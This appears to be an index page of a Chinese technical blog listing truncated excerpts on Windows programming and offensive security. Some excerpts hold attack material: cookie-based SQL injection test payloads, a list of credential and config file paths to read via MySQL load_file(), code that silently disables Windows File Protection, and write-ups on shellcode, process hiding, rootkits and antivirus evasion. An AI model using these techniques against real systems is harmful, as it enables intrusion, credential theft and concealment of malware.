如何调试程序的 Release 版本
摘要: 很多时候程序的 Debug 版本运行没有任何问题,但是一旦发布 Release 版本后,运行就出错,着实让人郁闷。大家知道,VC++ 中 Release 版本是对无法对源代码进行调试的。一般的做法是在怀疑有错误的代码前后插入MessageBox 函数,在函数中显示可能导致错误的变量的值。或者插入写文件的语句,输出可能导致错误的变量的值到一个记录文件。其实,除了上面讲的这个办法之外,还有其它的途径来调试 Release 版本的。下面就结合自己的经验和网上查找的一些资料给出调试 Release 版本的两个方法:
......
阅读全文
HOOK专题(ZT)
摘要: 基本概念
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
运行机制
1、钩子链表和钩子子程:
.......
阅读全文
cygwin下安装DBI
摘要: 运行pl程序,提示:Can't locate DBI.pm in @INC,解决方法如下:
Install cygwin with these options:
- gcc (devel)
- make (devel)
- binutils (devel)
- Perl 5.8.6 (interpreters)
- Perl win32 API (libs)
- PostgreSQL (database)
installing DBI-1.48.tar.gz as follows:
- Unpack the kit into /usr/src (c:\cygwin\usr\src)
- Open a cygwin shell and cd to /usr/src/DBI-1.48
- perl Makefile.PL
- make
- make test
- make install
在cygwin的shell下执行相应pl文件,比如./
阅读全文
翻动100万级的数据(自定义的MSSQL分页查询过程)
摘要: 系统资源的占用情况
内存 —— 很理想。SQL占用的内存最大也没有超过65M,一般是在35M左右;asp.net占用的内存最大也没有超过40M,一般是在25M左右。
CPU:8%左右,由于访问次数不多,也不够集中,所以这个数值也说明不了什么。自己连续点了n次下一页,发现CPU的使用率飘高,达到了50%左右。
但是对于100万的记录,AMD XP2000+ 的CPU 几十毫秒的放映速度,因该是可以接受的,甚至是很理想的吧。
毕竟服务器的CPU要比我的快很多吧,而且记录也很难达到100万吧。
结果还是很满意的,但是美中不足的是,我想看一下海量访问的情况下的效果,
另外说明一下:前n页可以在60毫秒内完成,n应该是大于500的,小于多少嘛还没有测试。后n页就比较慢了,需要500毫秒左右。
下面讨论一下翻页的技巧吧。
我没有用游标、临时表、not in、in 这些方法,并不是说他们的效率不高,而是我还没有测试过。我只用了 top ,查了两次表。
大家也可提供一些其他的方法,我来测试一下,看看在100万条的情况下的效果。
<
阅读全文
绕过堆栈保护 编写shellcode(FY)
摘要: 概述
在本例中,我们来实际编写一个可以在使用堆栈保护的系统中执行的shellcode。该shellcode通过利用ntdll.dll的部分指令跳转到我们的代码执行。在大多数的dll中都可以实现此方法,而且可以完全饶过堆栈保护机制,因为通过此方法并没有任何代码在堆栈非执行区域中执行。
详述
我们也许都听说过堆栈保护这么一个词。很多安全程序提供了对堆栈中的代码执行的保护功能(译者注:原文这里用的是“protect”,其实我个人认为用 “disallow”或者“disable”更确切的。因为这类所谓的堆栈保护,其实就是禁止代码在堆栈中执行。)。一些新的硬件产品也具有禁止代码在 “非执行”内存区域中执行(比如AMD64)。然而编写一个饶过此机制的shellcode并不是件难事,下面我给大家简单的介绍一下。
方法就是使用dll的部分代码来达到我们的目的。如何做到呢?首先在堆栈发生溢出的时候我们将返回地址设置成ntdll.dll中的某个指令地址,我们要利用的ntdll的部分代码如下:
.............
阅读全文
教你如何分析未文档化的数据结构(ZT)
摘要: Editor:admin Time:2005-8-20 23:22 Read:9985 Score:8 Print
Writer:HSLY
Excerpt:80x86汇编小站
Preface:
分享逆向技术心德......
Content:
[标题] 教你如何分析未文档化的数据结构
[作者] hsly110 或者 猪头三
[个人网站] http://www.x86asm.com 80x86汇编小站
[Email] pliceman_110@163.com PS:本文如果有错漏请来信指出
[范围] 逆向工程
[目的] 分享逆向技术心德
[目标API] 未文档化的RtlInitializeGenericTable
[参考文献] Secrets of Reverse Engineering
..........
阅读全文
load_file()函数查看常用配置文件
摘要: /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/my.cnf //mysql的配置文件
/etc/issue //系统版本
/etc/issue.net
/etc/redhat-release
C:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
/etc/sysconfig/iptables //从中得到防火墙规则策略
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Serv-U\Serv
阅读全文
Terminal Services: reset Sessions
摘要:
The problem: you use terminal services in administration mode (which allows 2 sessions), now you cannot connect to the server because all sessions are used.
Windows 2000+ (includes Windows XP and 2003) have two command-line tools called qwinsta and rwinsta that can query and reset a remote session.
Query a server:
> qwinsta /server:192.168.12.12
.......
阅读全文
Use CDO.Message (cdosys.dll) to send an SMTP Mail with importance (as a VBS Script)
摘要:
I had to create a .VBS script to create an automated E-Mail message. The hardest part was to set the importance of the mail, I've found the solution here: http://www.lewisroberts.com/?p=64
Here come's the script:
Dim iMsg
Dim iConf
Dim Flds
Dim strHTML
............
阅读全文
Task Scheduler or RunAs without a password
摘要:
Standard user's in big companies usually runs as unprivileged users, thus they cannot execute admin tasks. But sometimes it's necessary to run a task with admin rights (automated software deploy) - runas, in some situations, is a bad idea because it needs a user and a clear text password (and no, the password compiled in an exe file is not very safe!).
......
阅读全文
Quick and dirty PXE boot
摘要: Most new Servers or Workstations aren't equipped with a floppy drive anymore, but from time to time I need to boot from a floppy drive. And I don't want to burn a CD each time I need to boot from a floppy drive.. so the solution is tftpd32 and PXELINUX. With those 2 tools I'm able to boot disk images from the LAN.
You need tftpd32 from Ph. Jounin (http://tftpd32.jounin.net/) and PXELINUX, which is a part of the SYSLINUX package (http://syslinux.zytor.com).
阅读全文
图片类型互转(png,bmp,jpg,gif)
摘要:
#include <windows.h>
#include <gdiplus.h>
#include <stdio.h>
#pragma comment(lib,"gdiplus.lib")
using namespace Gdiplus;
INT GetEncoderClsid(const WCHAR* format, CLSID* pClsid); // helper function
...........
阅读全文
Terminal Service: Connect and/or Shadow to a Console Session...
摘要: Terminal Service: Connect and/or Shadow to a Console Session...
crosspost from http://blogs.msdn.com/rextang
Seems some of my friends still didn't know how to use Microsoft Terminal Service Client to connect to the console session of a windows pc (server or client OS) so here is a memo for it also during the search I found the other interesting thing that can let Terminal Service to function like a VNC server (2 users share the same session, called "shadow session" here).
.....
阅读全文
堡耳机的方法
摘要: 堡耳机的方法
一般来说,新买来的好点的耳机都需要堡,堡了以后才能有比较好的音质。
堡耳机的步骤如下:
1.正常听音量的1/3驱动耳机24小时(100-10kHz)
2.正常听音量的2/3驱动耳机24小时(50-15kHz)
3.正常听音量驱动耳机72小时(20-20kHz)
4.正常听音量的3/4驱动耳机24小时(20-20K)
5.正常听音量听歌
阅读全文
通过活动链表或HOOK API隐藏进程
摘要: 进程隐藏的两种方法
这两种都是很古老的方法,因为无聊,所以写了一下。代码在XP_SP2下调试通过.
(1).从活动进程链表(ActiveProcessLinks)中摘除自身,这种方法可以欺骗任务管理器,
下面这个程序做的就是双向链表的删除节点和插入节点,十分的简单。
(2).如果你反汇编taskmgr.exe,可以在发现taskmgr.exe是通过NtQuerySystemInformation枚举进程的,
因此可以通过挂钩系统服务NtQuerySystemInformation修改这个函数的行为,从而实现在任务管理器中隐藏进程的目的,下面就是实现代码。
...........
阅读全文
Hook API监视驱动的加载
摘要: .386
.model flat, stdcall
option casemap:none
;**************************************************************************************************
include f:\masm32\include\w2k\ntstatus.inc
include f:\masm32\include\w2k\ntddk.inc
include f:\masm32\include\w2k\ntoskrnl.inc
includelib f:\masm32\lib\w2k\ntoskrnl.lib
include f:\masm32\Macros\Strings.mac
;**************************************************************************************************
阅读全文
WMI监视注册表
摘要: Set wmiServices = GetObject("winmgmts:root/default")
Set wmiSink = WScript.CreateObject("WbemScripting.SWbemSink", "SINK_")
wmiServices.ExecNotificationQueryAsync wmiSink, _
"SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND " & _
"KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"
WScript.Echo "Listening..." & vbCrLf
While(1)
WScript.Sleep 1000
Wend
Sub SINK_OnObjectReady(wmiObject, wmiAsyncContext)
WScript.Echo "R
阅读全文
Cookie注入手工检测方法
摘要: 例:
http://xxxx/view.asp?id=1
先访问http://xxxx/view.asp?id=1
接着在浏览器里输入:
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
再访问http://xxxx/view.asp(未出错)
再输入:javascript:alert(document.cookie="id="+escape("188 and 1=2"))
再访问:http://xxxx/view.asp(出错)
该页面出错就表示可以用Cookie注入。
..........
阅读全文
暂停Windows文件保护
摘要: #include <stdio.h>
#include <windows.h>
typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);
void Disable_WFP()
{
HINSTANCE hmod=LoadLibrary("sfc_os.dll");
CPP SetSfcFileException;
// the function is stored at the fifth ordinal in sfc_os.dll
SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);
SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);
//Now we can modify the system file in a complete stealth.
阅读全文
编写进程/线程监视器(ZT)
摘要: 有时候我们希望能够动态监视系统中任意进程/线程的创建与销毁。为了达
到此目的我翻阅了 DDK 手册,发现其提供的 PsSetCreateProcessNotifyRoutine(),
PsSetCreateThreadNotifyRoutine(),等函数可以实现此功能。这两个函数可以
通过向系统注册一个 CALLBALCK 函数来监视进程/线程等操作。函数原形如下:
NTSTATUS
PsSetCreateProcessNotifyRoutine(
IN PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
IN BOOLEAN Remove
);
......................
阅读全文
SSDT Hook 的妙用-对抗 Ring0 Inline Hook(ZT)
摘要: 1,SSDT
SSDT即系统服务描述符表,它的结构如下(参考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
PVOID ServiceTableBase; //这个指向系统服务函数地址表
PULONG ServiceCounterTableBase;
ULONG NumberOfService; //服务函数的个数,NumberOfService*4 就是整个地址表的大小
ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;
.........
阅读全文
对抗杀毒软件的内存扫描(ZT)
摘要:
通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,
如果发现其他进程读被保护模块的内存,则返回0
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
.........
阅读全文
实用级反主动防御rootkit设计思路(ZT)
摘要:
目录:
反主动防御rootkit的产生背景及其必要性
反网络访问主动防御
反API钩子进程行为主动防御
反系统Notify进程行为主动防御
绕过监控进入ring0安装驱动
实用级反主动防御rootkit的通用性问题
..............
阅读全文
从PE文件入手绕过IAT HOOK(ZT)
摘要:
API HOOK估计没必要多介绍了,简单的来讲就是通过某种方式来改变API函数的工作流程.一般来讲有两种方法:IAT HOOK和INLINE HOOK.前一种应用较为广泛,一方面因为简单,还一方面因为稳定.他的原理就是改写进程空间中要HOOK的API所在模块的函数引入表,使之指向替换原 API函数的函数地址(某些木马就是利用IAT HOOK的方式,挂钩NtQuerySystemInformation的方式来实现进程隐藏).这里感觉还是有必要再说一点INLINE HOOK,这个复杂点,直接进入被HOOK的API函数内部去修改他,采用指令call或者jmp等,迫使API改变流程,跳到自己的替换函数中.通常都是在函数头部前10个字节内修改.
...............
阅读全文
应用层InLine Hook(ZT)
摘要: 1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移
2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址
3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)
4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要在数据段中设置跳回真实函数的JMP指令.
5.把真正的API开头的指令改为JMP到我们的假函数中.
.
阅读全文
什么是PE文件及PE文件的结构和简述(ZT)
摘要:
一个操作系统的可执行文件格式在很多方面是这个系统的一面镜子。虽然学习一个可执行文件格式通常不是一个程序员的首要任务,但是你可以从这其中学到大量的知识。在这篇文章中,我会给出 MicroSoft 的所有基于 win32系统(如winnt,win9x)的可移植可执行(PE)文件格式的详细介绍。在可预知的未来,包括 Windows2000 , PE 文件格式在 MicroSoft 的操作系统中扮演一个重要的角色。如果你在使用 Win32 或 Winnt ,那么你已经在使用 PE 文件了。甚至你只是在 Windows3.1 下使用 Visual C++ 编程,你使用的仍然是 PE 文件(Visual C++ 的 32 位 MS-DOS 扩展组件用这个格式)。简而言之,PE 格式已经普遍应用,并且在不短的将来仍是不可避免的。现在是时候找出这种新的可执行文件格式为操作系统带来的东西了。
我最后不会让你盯住无穷无尽的十六进制Dump,也不会详细讨论页面的每一个单独的位的重要性。代替的,我会向你介绍包含在 PE 文件中的概念,并且将他们和你每天都遇到的东西联系起来。比如,线程局部变量
阅读全文
C++字符串完全指引(ZT)
摘要: 许多关于字符串的问题,在文章最后的参考文章中,相信有更加深入和精确的描述。不过关于中文的处理,我想先补充一些自己的看法。
背景:WIN32 console程序,使用printf输出字符串。相信许多人都有使用过。
平台:VisualStudio.NET 2003(MFC 7.1)。
MBCS UNICODE
蔡 b2 cc 21 85
A 41 00 41 00
程序段1:使用std::string
#include
.........
阅读全文
关于PE可执行文件的修改(ZT)
摘要: 1、PE文件框架构成
DOS MZ header
DOS stub
PE header
Section table
Section 1
Section 2
Section ...
Section n
上表是PE文件结构的总体层次分布。所有 PE文件(甚至32位的 DLLs) 必须以一个简单的 DOS MZ header 开始,在偏移0处有DOS下可执行文件的“MZ标志”,有了它,一旦程序在DOS下执行,DOS就能识别出这是有效的执行体,然后运行紧随 MZ header 之后的 DOS stub。DOS stub实际上是个有效的EXE,在不支持 PE文件格式的操作系统中,它将简单显示一个错误提示,类似于字符串 " This program cannot run in DOS mode " 或者程序员可根据自己的意图实现完整的 DOS代码。通常DOS stub由汇编器/编译器自动生成,对我们的用处不是很大,它简单调用中断21h服务9来显示字符串"This program cannot run in DOS mode"。
阅读全文
Windows应用程序捆绑核心编程(ZT)
摘要:
1.1 引言 1.2 内存管理概述 1.3 虚拟内存访问
1.4 文件的内存映射 1.4 文件的内存映射(2) 1.5 深入认识指针的真正含义
1.6 本章小结 参考文献
第2章 再谈PE文件结构
2.1 引言 2.2 PE文件格式概述 2.3 PE文件结构
2.3 PE文件结构 2.4 如何获取PE文件中的OEP 2.5 PE文件中的资源
2.6 一个修改PE可执行文件的完整实例(1) 2.6 一个修改PE可执行文件的完整实例(2) 2.7 本章小结
参考文献
第3章 进程之间通信概述及初级技术
3.1 引言 3.2 进程通信概述 3.3 使用自定义消息通信
3.4 使用WM_COPYDATA消息通信 3.4 使用WM_COPYDATA消息通信 3.5 使用内存读写函数和内存映射文件通信
3.6 使用动态链接库通信 3.7 使用Windows剪贴板通信 3.
阅读全文
Creating the smallest possible PE executable
摘要: Tiny PE
Creating the smallest possible PE executable
This work was inspired by the Tiny PE challenge by Gil Dabah. The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.
In the process of writing increasingly smaller PE files for the challenge I learned a lot of interesting details about the PE file format and the Windows loader. The goal of this document is to preserve this knowledge for future reference. In t
阅读全文
vc的编译参数优化(ZT)
摘要:
/*
Author: void#ph4nt0m.org
*/
// 编译器 cl.exe(Visual C++ 6.0)
// 没有做任何优化情况下,编译大小为:16K
// 编译优化后: 1K (用16进制编辑器把尾部的0x00去掉: 712bytes)
#include
#pragma comment(lib,"kernel32.lib")
// 作用: 指定节对齐为512字节
#pragma comment(linker, "/align:512")
..........
阅读全文
向其他进程注入代码的三种方法(ZT)
摘要: 我们在Code project(www.codeproject.com)上可以找到许多密码间谍程序(译者注:那些可以看到别的程序中密码框内容的软件),他们都依赖于Windows钩子技术。要实现这个还有其他的方法吗?有!但是,首先,让我们简单回顾一下我们要实现的目标,以便你能弄清楚我在说什么。
要读取一个控件的内容,不管它是否属于你自己的程序,一般来说需要发送 WM_GETTEXT 消息到那个控件。这对edit控件也有效,但是有一种情况例外。如果这个edit控件属于其他进程并且具有 ES_PASSWORD 风格的话,这种方法就不会成功。只有“拥有(OWNS)”这个密码控件的进程才可以用 WM_GETTEXT 取得它的内容。所以,我们的问题就是:如何让下面这句代码在其他进程的地址空间中运行起来:
::SendMessage( hPwdEdit, WM_GETTEXT, nMaxChars, psBuffer );
一般来说,这个问题有三种可能的解决方案:
1. 把你的代码放到一个DLL中;然后用 wind
阅读全文
Inject your code to a Portable Executable file
摘要:
0序文
也许你想要了解一个病毒,注入到程序内部并且感染他的方法,或者你对保护你特殊的PE文件的数据感兴趣。你能使用这篇文章的源代码构建你自定义的EXE BUILDER。如果用在好的方面,他能教你怎样保护或封装加密你的PE文件,但是同样如果你用在邪恶的方面,他能产生一个病毒。然而,我写这篇文章的目的是前者,所以,我不会为不道德的使用负责。
1预备知识
按照主题这篇文章不需要特殊的预备知识,如果你已经了解了DEBUGGER和文件结构,那么我建议你跳过2,3部分,这两部分是为毫无基础的人准备的。
2.PE文件的结构
规定PE文件的结构为WINDOWS OS提供了最好的方式去执行代码,并且储存一个程序运行所需要的基本数据。例如常量,变量等等。
................
阅读全文
VC编译OCCI的解决方案
摘要: 1、增加接口。在OcciDml.hpp中增加extern "C" int __declspec(dllexport) funA(char* a); 在OcciDml.cpp中将函数声明修改为extern "C" int __declspec(dllexport) funA(char* a)
2、修改头文件。在需要引入的所有类中,替换为
#ifndef OCCI_ORACLE
#define WIN32COMMON
#include "occi.h"
using namespace oracle::occi;
using namespace std;
#endif
否则会出现错误如下:
d:\oracle\ora92\oci\include\occicontrol.h(1132) : error C2995: 'getVector' : template function has already been defined
d:\oracle\ora92\oci\include\occicommon
阅读全文
扭曲变换加密(ZT)
摘要:
一,一般来讲,加密就是加壳
我们经常考虑,一个可执行文件,怎么样加密才能安全呢?
一般用的手段,是加壳。加壳工具的工作原理,就是把可执行文件的代码与
数据都进行加密变换,作为数据存放。生成的目标文件入口代码是加壳软件
准备好的防跟踪代码。经过漫长的防跟踪代码后,会把原始可执行文件的代码
与数据段恢复,然后跳转到原来的入口处,继续运行。这样做的缺点是,不管
你的加密多强,防跟踪代码多牛,只要一运行,在内存中就全部恢复了。只要
把内存映象dump下来,反汇编一下,就清清楚楚了。甚至有工具可以直接把
dump下来的内存映象存为可执行文件。这样加密就彻底失败了。
......
阅读全文
OllyDbg Format String 0day分析和利用(ZT)
摘要:
OD作为一款Ring3下的调试器以优异的性能博得了广大密界爱好者的一致肯定,就在最近milw0rm上公布了一个OD 0 day的POC(OllyDbg v110 Local Format String Exploit),以前写了很多栈溢出的漏洞,却很少有Format String的漏洞,这次OD给我们提供了一个熟悉Format String问题的机会(只有原版的OD存在此问题,看雪论坛的修改版OllyIce不存在此问题)。
........
阅读全文
编写Unicode有效的Shellcode(ZT)
摘要:
对于溢出爱好者来说,能够编写Shellcode是一个必备的基本技能,特别是能应对各种在实际情况中对Shellcode存在各种限制条件的时候,这种能力就显得尤为重要了。黑防2007年第二期中介绍了纯字母数字的Shellcode的编写,在3期中的WinRAR 7z溢出中就派上了用场。Unicode大家应该不陌生,在一些大型程序中,比如Word、Excel考虑到不同语言平台的差异性,都会使用 Unicode,在利用这些漏洞的时候,我们以往的Shellcode就难以适用了。一个普通的Down&Exec的Shellcode经过 MultiByteToWideChar函数转换成Unicode后
..........
阅读全文
插入DLL和挂接API(ZT)
摘要:
每个进程都有它自己的私有地址空间。当使用指针来引用内存时,指针的值将引用你自己进程的地址空间中的一个内存地址,有些情况下,必须打破进程的界限,访问另一个进程的地址空间,这些情况包括:
...........
阅读全文
内核级利用通用Hook函数方法检测进程(ZT)
摘要:
介绍通用Hook的一点思想:
在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数都是写在C文件里面的。例如Hook的目标函数KiReadyThread。
........
阅读全文